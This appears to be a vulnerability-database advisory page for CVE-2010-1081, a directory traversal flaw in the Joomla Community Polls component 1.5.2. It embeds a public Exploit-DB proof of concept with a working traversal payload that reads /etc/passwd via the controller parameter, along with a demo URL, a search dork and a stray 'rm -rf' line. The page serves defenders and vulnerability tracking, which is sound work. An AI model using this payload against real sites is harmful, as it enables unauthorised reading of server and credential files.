CVE-2010-1081

medium
Published 2010-03-23 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

Directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11511 webapps php verified text ยท 2 KB
kaMtiEz ยท 2010-02-19

Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion

text exploit Source: Exploit-DB
[!]===========================================================================[!]

[~] Joomla Component com_communitypolls LFI Vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 16 February, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.corejoomla.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.corejoomla.com/downloads/community-polls/24-comcommunitypollsv1-5-2.html
[+] Version : 1.5.2 maybe lower also affected 

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_communitypolls&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00

[ d3m0 ]

http://server/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,senot,all INDONESIANCODER MEMBERS
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Rawk !
[+] rm -rf 

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
[+] e0f

Application impact

VendorProductVersionsFixed
corejoomlacom_communitypolls1.5.0
corejoomlacom_communitypolls{"endIncluding":"1.5.2"}
corejoomlacom_communitypolls1.0.1
corejoomlacom_communitypolls1.0.2
corejoomlacom_communitypolls1.0.3
corejoomlacom_communitypolls1.0.4
corejoomlacom_communitypolls1.0.5
corejoomlacom_communitypolls1.0.6
corejoomlacom_communitypolls1.0.7
corejoomlacom_communitypolls1.0.8
corejoomlacom_communitypolls1.0.9
corejoomlacom_communitypolls1.5.1
joomla joomlajoomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.